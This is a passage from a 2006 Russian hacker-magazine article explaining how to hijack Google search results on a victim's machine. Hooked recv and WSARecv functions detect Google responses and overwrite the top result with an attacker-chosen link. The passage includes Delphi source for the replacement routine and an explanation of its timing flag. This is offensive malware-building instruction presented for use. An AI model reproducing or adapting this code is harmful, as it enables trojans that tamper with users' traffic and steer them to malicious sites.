Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #95, НОЯБРЬ 2006 г.

На пике славы: «взлом» поисковых систем

BUG(O)R

Хакер, номер #095, стр. 095-090-4


<a class=l href="http://www.passion.ru/">Женские страсти - женский <b>журнал</b></a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Рукоделие, гороскоп, конкурсы, обратная связь и многое другое.<br><font color=#008000>www.passion.ru/ - 37k - 28 сен 2006 - </font>

Чтобы подставить вместо этого сайта наш собственный, мы должны найти позицию первой строки «<a class=l href=» в ответе сервера, далее, начиная с этой позиции, найти позицию строки «</font>», прибавить к этой позиции длину этого тега, то есть «6», и весь текст, который находится между этими двумя позициями, заменить нашим. В качестве примера я подставлю на первое место сайт журнала «Хакер», и тогда строка, которой мы будем заменять, приобретает следующий вид:

<a class=l href="http://www.xakep.ru/">Xakep Online -> Home</a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Magazine of computer hooligans<br><font color=#008000>www.xakep.ru/</font>

Теперь в функцию перехвата recv пишем такой код:

if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);

А в функцию перехвата WSARecv - такой:

if pos('google', lpBuffers.buf) > 0 then ReplaceResult(lpBuffers.buf, lpBuffers.len);

Как ты уже догадался, вся работа по замене результатов поиска будет происходить в функции ReplaceResult, которая принимает два параметра: указатель на данные (в нашем случае это указатель на данные, которые прислал сервер) и длину этих данных. Я приведу полный листинг функции ReplaceResult, а после прокомментирую каждую строку:

function ReplaceResult(lpData: pChar; szData: dword): boolean;

begin

if flag = 1 then exit;

a := pos('<a class=l href=', lpData);

if a=0 then exit;

len:=0;

dec(a);

flag:=1;

GetMem(link, szData);

MoveMemory(link, lpData, a);

MoveMemory(pointer(dword(link)+a), szString, length(szString));

len:=a+length(szString);

b:=szData-InStr(a, lpData, '</font>');

MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</font>')+6), b);

MoveMemory(lpData, link, szData);

ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);

CloseHandle(ThID);

end;

1. Мы вводим переменную flag, которая будет устанавливаться в случае, если эта страница - действительно ответ от гугла на поисковую фразу. Переменная flag будет обнуляться каждые 6 секунд. Если в течение шести секунд человек сделает 2 или более поисковых запроса, то во второй и последующие разы наша функция ReplaceResult просто завершится в самом начале. Сделано это для того, чтобы избежать некоторых проблем. Этот интервал можно уменьшить, но тогда мы рискуем уронить браузер.

2. В данных, которые пришли от сервера, ищем строку «<a class=l href=». Если таковой нет, то делаем вывод, что эти данные не являются ответом на поисковый запрос, и выходим.

Назад на стр. 095-090-3  Содержание  Вперед на стр. 095-090-5